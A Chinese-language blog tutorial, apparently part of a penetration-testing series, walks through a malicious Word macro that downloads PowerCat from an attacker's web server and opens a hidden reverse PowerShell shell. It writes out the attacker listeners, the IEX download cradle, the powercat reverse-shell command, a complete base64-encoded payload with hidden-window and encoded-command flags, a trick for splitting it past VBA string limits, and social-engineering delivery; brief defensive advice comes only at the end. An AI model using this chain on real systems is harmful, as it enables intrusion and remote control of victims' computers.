郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉 晖度丨安全视界-CSDN博客**🚀(原名:whoami!)**
𖤐 客户端攻击通常是欺骗用户在操作系统上执行恶意代码,小心啊 !
𖤐 𝓒𝓵𝓲𝓮𝓷𝓽-𝓼𝓲𝓭𝓮 𝓪𝓽𝓽𝓪𝓬𝓴𝓼 𝓾𝓼𝓾𝓪𝓵𝓵𝔂 𝓽𝓻𝓲𝓬𝓴 𝓾𝓼𝓮𝓻𝓼 𝓲𝓷𝓽𝓸 𝓮𝓍𝓮𝓬𝓾𝓽𝓲𝓷𝓰 𝓶𝓪𝓵𝓲𝓬𝓲𝓸𝓾𝓼 𝓬𝓸𝓭𝓮 𝓸𝓷 𝓽𝓱𝓮 𝓸𝓹𝓮𝓻𝓪𝓽𝓲𝓷𝓰 𝓼𝔂𝓼𝓽𝓮𝓶, 𝓼𝓸 𝓫𝓮 𝓬𝓪𝓻𝓮𝓯𝓾𝓵 !
→ 信息收集
→ 漏洞检测
→ 初始立足点
→ 权限提升 ▸客户端攻击▸通过宏文件实现反向shell-----我们在这儿~ 🔥🔥🔥
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
[1 客户端攻击:突破企业边界的社交工程](#1 客户端攻击:突破企业边界的社交工程)
[1.1 通过宏文件实现反向shell](#1.1 通过宏文件实现反向shell)
[1.1.1 PowerCat简介](#1.1.1 PowerCat简介)
[1.1.1.1 什么是PowerCat](#1.1.1.1 什么是PowerCat)
[1.1.1.2 常见的PowerCat命令](#1.1.1.2 常见的PowerCat命令)
[1. 创建网络连接](#1. 创建网络连接)
[2. 监听端口](#2. 监听端口)
[3. 数据传输](#3. 数据传输)
[4. 反向Shell](#4. 反向Shell)
[1.1.2 攻击思路](#1.1.2 攻击思路)
[1.1.2.1 流程示意图](#1.1.2.1 流程示意图)
[1.1.2.2 思路说明](#1.1.2.2 思路说明)
[1.1.3 详细步骤](#1.1.3 详细步骤)
[1.1.3.1 攻击者准备阶段](#1.1.3.1 攻击者准备阶段)
[1.1.3.2 定义字符串变量Str](#1.1.3.2 定义字符串变量Str)
[1.1.3.3 构造恶意PowerShell命令](#1.1.3.3 构造恶意PowerShell命令)
[1.1.3.4 Base64编码绕过检测](#1.1.3.4 Base64编码绕过检测)
[1.1.3.5 解决VBA字符串限制问题](#1.1.3.5 解决VBA字符串限制问题)
[1.1.3.6 更新完整的宏VBA代码](#1.1.3.6 更新完整的宏VBA代码)
[1.1.3.7 投放带有恶意代码的Word宏文档](#1.1.3.7 投放带有恶意代码的Word宏文档)
[1.1.3.8 实现反向Shell](#1.1.3.8 实现反向Shell)
[1.2 防御措施](#1.2 防御措施)
[💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬](#💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬)
1 客户端攻击**:突破企业边界的社交工程**
1.1 通过宏文件实现反向shell
1.1.1PowerCat简介
1.1.1.1 什么是PowerCat
PowerCat = PowerShell + Netcat,是用 PowerShell 写的 Netcat 风格工具。
PowerCat 主要是在 Windows(通过 PowerShell) 下使用的。不过在安装了跨平台的 PowerShell Core(pwsh) 的系统上(例如某些 Linux / macOS 环境)也可以运行,因此不是严格仅限 Windows,但常见用途和传播环境以 Windows/PowerShell 为主。
用途:端口监听、端口转发、简单文件传输、反向/绑定连接等(可被系统管理员用于排错与运维,也常被滥用于入侵/横向移动)。
为什么选择PowerCat?
-
✅ 纯PowerScript实现,无需额外工具
-
✅ 绕过传统安全检测
-
✅ 功能强大,支持多种网络操作
-
✅ 易于集成到宏攻击中
1.1.1.2 常见的PowerCat命令
1. 创建网络连接
想象场景: 你的电脑想给另一台电脑"打电话"。
bash
PowerCat -c 192.168.1.1 -p 1234
| 组成部分 | 实际作用 |
|---|---|
-c 192.168.1.1 |
指定要连接的目标电脑IP地址 |
-p 1234 |
指定要连接的网络端口 |
PowerCat |
启动网络连接工具 |
实际应用:
-
连接到网络服务器
-
测试网络是否通畅
-
与远程设备通信
2. 监听端口
想象场景: 开一家店铺,打开大门等待顾客上门
bash
PowerCat -L -p 1234
| 组成部分 | 实际作用 |
|---|---|
-L |
开启监听模式,等待连接 |
-p 1234 |
监听特定的网络端口 |
PowerCat |
启动网络监听服务 |
实际应用:
-
搭建临时文件服务器
-
接收其他电脑发来的数据
-
等待远程连接请求
3. 数据传输
想象场景: 把本地文件打包,通过快递发送给朋友
A. 发送文件(寄出包裹)
bash
PowerCat -c 192.168.1.1 -p 1234 < C:\file.txt
| 组成部分 | 实际作用 |
|---|---|
< C:\file.txt |
指定要发送的本地文件(在C:\file.txt) |
-c 192.168.1.1 -p 1234 |
指定接收文件的电脑地址和端口 |
B. 接收文件(收取包裹)
想象场景: 在家等待快递员送货,收到后保存到接受方本地的指定位置C:\received_file.txt
bash
PowerCat -L -p 1234 > C:\received_file.txt
| 组成部分 | 实际作用 |
|---|---|
> C:\received_file.txt |
接收方指定接收文件的保存路径 |
-L -p 1234 |
开启监听,等待文件发送过来 |
实际应用:
-
在两台电脑间传输文件
-
备份数据到远程位置
-
共享文档或配置
🎯这里有个很重要的问题展开说说: 从发送方角度看,其C:\file.txt的文件内容最终发到何处,取决于++接收方运行的程序++。
bashPowerCat -c 192.168.1.1 -p 1234 < C:\file.txt详细说明:
发送端(运行该命令的主机)
C:\file.txt是发送端的本地文件。- 重定向
<把文件内容喂给 PowerCat 的标准输入,PowerCat 把这些字节写入到与192.168.1.1:1234的 TCP 连接。网络传输
- 数据作为原始字节流通过 TCP 发送,经过网络、路由、可能的防火墙/IDS,抵达目标 IP 和端口。
接收端(目标主机)接收到这些字节后会怎样,取决于目标上运行的程序:
- 如果目标在
192.168.1.1的1234端口上有一个监听器/接收程序(例如:类似 Netcat/PowerCat的监听进程或自定义服务),该程序会从网络套接字读取字节流。- 接收程序可以:
- 直接在内存中处理这些数据(例如作为输入喂给另一个进程),
- 将字节写入到目标主机的一个文件(例如写成
received.txt),本例。- 作为命令或数据进一步处理(取决监听程序功能)。
- 重要 :网络传输本身不包含原始文件名或文件系统路径。文件内容会到达接收端,但接收端是否保留原名
C:\file.txt、把它保存到哪个位置、用什么名字保存,完全由接收端的程序决定。取证/检测要点(防守视角):
- 查找可疑的出站连接到不常见 IP/端口,尤其是伴随 PowerShell/PowerCat 类进程启动的连接。
- 在目标主机上查找近期创建或修改的文件、或监听进程(特别是在非标准端口)。
- 审计 PowerShell 命令行、Sysmon(进程创建、网络连接)和防火墙日志以还原"谁向谁发送了什么"。
- 注意:即使目标没有保存文件,数据仍可能被接收端在内存中处理或传递到第三处 --- 仅基于网络流量和日志判断很重要。
4. 反向Shell
想象场景: 特工行动 - 让目标人物主动联系总部并交出控制权
bash
PowerCat -c 192.168.1.2 -p 1234 -e powershell.exe
| 组成部分 | 实际作用 |
|---|---|
-c 192.168.1.2 -p 1234 |
攻击者连接的目标IP和端口,即,PowerCat 会连接到 192.168.1.2 上的 1234 端口 |
-e powershell.exe |
在目标电脑上执行指定程序 |
| 整个命令 | 当 PowerCat 成功连接到 192.168.1.2 上的 1234 端口时,它会启动一个 PowerShell 会话,并将该会话连接到远程目标。 |
🔄 正向Shell vs 反向Shell:
正向Shell(传统方式):
攻击者 → 连接 → 受害者 (像主动敲门进入别人家)反向Shell(聪明方式):
受害者 → 连接 → 攻击者 (像让目标主动来找你,更容易绕过安保)为什么反向Shell更危险?
绕过防火墙:很多防火墙允许内部向外连接,但阻止外部向内连接
隐蔽性高:看起来像是正常的外出连接
可靠性强:不受网络环境限制
1.1.2 攻击思路
1.1.2.1 流程示意图

1.1.2.2 思路说明
1.攻击思路
通过VBA宏(通常嵌入到Excel文档、Word等文档中)执行 PowerShell 命令,任务是:
①让目标去下载 PowerCat脚本;②然后通过 PowerCat建立反向Shell
另外:由于 VBA 对字符串长度有限制,需要通过一些技巧来处理较长的 Base64 编码的 PowerShell 命令。
2.具体说明
-
PowerShell 下载工具(Base64 编码):
- 由于 PowerShell 命令通常较长,因此采用 Base64 编码 来避开字符长度限制。
- 将 PowerShell 下载命令编码为 Base64 格式后,避免直接将其嵌入为单一字符串。
- 反向 Shell 的目标是让攻击者控制目标系统的命令行接口。
-
VBA 字符串长度限制:
- VBA 字符串限制: 默认情况下,VBA 对单个字符串的长度限制为 255 个字符,因此不能将完整的 Base64 编码 PowerShell 命令直接作为字符串传递。
- 解决方案: 通过 拆分 长字符串并存储在多个变量中,之后将其 连接 回完整的 Base64 编码 PowerShell 命令。
-
VBA 代码实现:
- 分割字符串: 将 Base64 编码的 PowerShell 命令拆分为多行字符串,每行不超过 255 个字符。
- 拼接字符串: 使用
&操作符连接所有的拆分字符串,构造完整的 PowerShell 命令。 - 执行 PowerShell 命令: 在拼接后,执行该 Base64 编码命令并将其解码执行,下载 PowerCat 并执行反向 shell。
-
反向 Shell 操作:
- PowerCat:用于在目标主机上建立反向连接,连接到攻击者指定的 IP 和端口。
- 攻击者监听: 攻击者在指定端口监听连接,反向 shell 一旦成功建立,攻击者就可以控制目标系统。
-
简化步骤:
- 编写 Base64 编码的 PowerShell 命令(用来下载 PowerCat 工具并启动反向 shell)。
- 在 VBA 中声明多个字符串(每个字符串不超过 255 字符)。
- 使用
&连接这些字符串,生成完整的 PowerShell 命令。 - 使用
Shell或CreateObject("WScript.Shell")来执行拼接后的 PowerShell 命令。
-
编码与解码:
- 在执行之前,Base64 编码的 PowerShell 命令需要解码为原始 PowerShell 脚本。
- 解码后的 PowerShell 脚本将负责从远程下载 PowerCat 工具并执行反向 shell。
1.1.3 详细步骤
**回顾:**在前一篇文章中,我们的宏代码如下图。

目标用户双击该文档,实现自动执行宏命令,并自动打开目标主机的powershell。效果如下图:

现在,从这继续。返回到宏编辑器继续编写宏代码,主要是构造PowerShell命令并被执行。
1.1.3.1 攻击者准备阶段
| 步骤 | 命令 | 说明 |
| 终端1. 启动Web服务器 | python3 -m http.server 80 | 📡 托管powercat.ps1脚本 |
| 终端2. 开启Netcat监听 | nc -lvnp 4444 |
👂 等待反向Shell连接 |
|---|
1.搭建Web服务器
攻击者将powercat.ps1文件放置到当前工作目录(或指定目录),然后在本地终端1窗口执行以下命令启动简易 HTTP 服务器(默认监听 80 端口)。
本地指:攻击者主机192.168.119.2
bash
$ python3 -m http.server 80

2.开启Netcat监听
攻击者在本地终端2窗口执行以下命令,打开本地4444端口监听,等待回连的反向shell。
bash
$ nc -lvnp 4444

1.1.3.2 定义字符串变量Str
接下来,使用Dim关键字声明一个名为Str的字符串变量。
****这个变量Str用于存储后续的PowerShell命令(下载工具和创建使用PowerCat的反向shell)。****宏代码做出如下更新:
1.1.3.3 构造恶意PowerShell命令
1.下载PowerCat
目标主机到攻击主机处下载PowerCat.ps1脚本工具。
bash
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1')
2.使用powercat工具建立反向Shell
马上使用PowerCat.ps1脚本,在目标主机上建立反向shell。
**-e powershell :**表示通过这个连接执行 powershell.exe,这会在目标主机上自动启动PowerShell会话,并将其连接回到攻击者的机器(的4444端口)。
bash
powercat -c 192.168.119.2 -p 4444 -e powershell
上述1、2命令拼在一起如下:用++;++号连接。

命令说明:
| 组件 | 类型 | 功能描述 | 详细说明 |
|---|---|---|---|
IEX |
PowerShell cmdlet | 🎯 命令执行引擎 | Invoke-Expression的简写,将字符串作为PowerShell代码执行 |
New-Object System.Net.WebClient |
.NET对象创建 | 🌐 网络下载工具 | 创建一个WebClient对象,用于从HTTP/HTTPS地址下载内容 |
.DownloadString('http://192.168.119.2/powercat.ps1') |
方法调用 | 📥 脚本内容下载 | 从攻击者服务器下载powercat.ps1脚本的文本内容 |
powercat -c 192.168.119.2 -p 4444 -e powershell |
PowerCat命令 | 🔄 反向连接建立 | 使用下载的PowerCat建立反向Shell连接 |
数据流行示意图:
受害者电脑
↓ 执行恶意宏
PowerShell进程
↓ IEX(下载命令)
攻击者服务器:192.168.119.2\] ← HTTP下载powercat.ps1 ↓ 下载完成 \[内存加载PowerCat
↓ powercat -c 192.168.119.2 -p 4444
攻击者监听端口4444\] ← 建立TCP连接 ↓ -e powershell \[交互式Shell会话\] ↔ 双向命令执行
1.1.3.4 Base64编码绕过检测
编码前:

经过base64编码后:
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQA5AC4AMgAvAHAAbwB3AGUAcgBjAGEAdAAuAHAAcwAxACcAKQA7AHAAbwB3AGUAcgBjAGEAdAAgAC0AYwAgADEAOQAyAC4AMQA2ADgALgAxADEAOQAuADIAIAAtAHAAIAA0ADQANAA0ACAALQBlACAAcABvAHcAZQByAHMAaABlAGwAbAA=
综上,完整的变量Str包含的命令为:
bash
Str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
| 参数 | 完整形式 | 功能描述 | 使用场景 |
|---|---|---|---|
powershell.exe |
- | 🎯 PowerShell启动器 | 执行PowerShell命令和脚本 |
-nop |
-NoProfile |
🚀 跳过配置文件加载 | 加快启动速度,避免配置文件中的安全检测 |
-w hidden |
-WindowStyle Hidden |
🕶️ 隐藏执行窗口 | 恶意脚本执行时不被用户发现 |
-e |
-EncodedCommand |
🔐 Base64编码命令 | 绕过命令行监控,隐藏真实意图 |
这里注意:标准用法 vs 隐蔽用法对比
| 场景 | 命令示例 | 可见性 | 用户感知 |
|---|---|---|---|
| 正常管理 | powershell.exe Get-Process |
👀 窗口可见 | 用户能看到执行过程 |
| 隐蔽执行 | powershell.exe -nop -w hidden -e UwB0AGEAcgB0ACAAcAByAG8AYwBlAHMAcwA= |
🚫 完全隐藏 | 用户无任何感知 |
但是,-e后面的字符串过长(>255字符), 因此我们将命令拆分为多行(存储在字符串中)并进行连接。
1.1.3.5 解决VBA字符串限制问题
问题: VBA字面字符串限制255字符
解决方案: 使用以下Python分割脚本 将base64编码的字符串分割成长度为50个字符的小块 ,并将它们连接到Str变量中。
Python分割脚本:
查看实际运行效果:

1.1.3.6 更新完整的宏VBA代码
把以下内容更新至宏编辑器后,保存并退出文档。

1.1.3.7 投放带有恶意代码的Word宏文档
此处是投放带有恶意代码的Word宏文档。采用社会工程学的方法让目标点击该文档(并让目标启动宏运行)。如何进行社会工程诱骗这里就不具体展开。
1.1.3.8 实现反向Shell
目标被成功社会工程后,双击Word文档后,宏代码会自动执行。请注意,关于"启用内容 "按钮的宏安全警告不会再次出现,因为刚刚已经启动过了。只有在文档名称更改时才会再次出现。执行宏代码后,观察
攻击主机的终端1: Python3 Web服务器收到PowerCat脚本的GET请求
攻击主机的终端2:在Netcat监听器中接收到反向Shell。

如上图,我们获得PowerShell提示符,可执行命令来查询目标主机的一些信息,例如:
bash
PS C:\Users\Victim> whoami
domain\username
PS C:\Users\Victim> ipconfig
...
1.2 防御措施
1.组织防护建议
| 防护层面 | 具体措施 | 效果 |
|---|---|---|
| 技术防护 | 禁用宏执行 | 🚫 阻断攻击载体 |
| 技术防护 | 应用白名单 | ✅ 只允许可信程序 |
| 技术防护 | 网络监控 | 🔍 检测异常连接 |
| 管理防护 | 安全意识培训 | 🧠 提高员工警惕性 |
| 管理防护 | 邮件过滤 | 📧 拦截恶意附件 |
2.个人防护建议
-
⚠️ 不要轻易启用宏:特别是来自不信任来源的文档
-
🔄 保持软件更新:及时安装安全补丁
-
🔍 使用安全软件:启用实时防护功能
-
📚 提高安全意识:了解常见攻击手法
随着用户安全意识的提高和安全技术的增强,传统的宏攻击效果正在减弱。攻击者正在转向更加隐蔽和复杂的客户端攻击方式。
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!

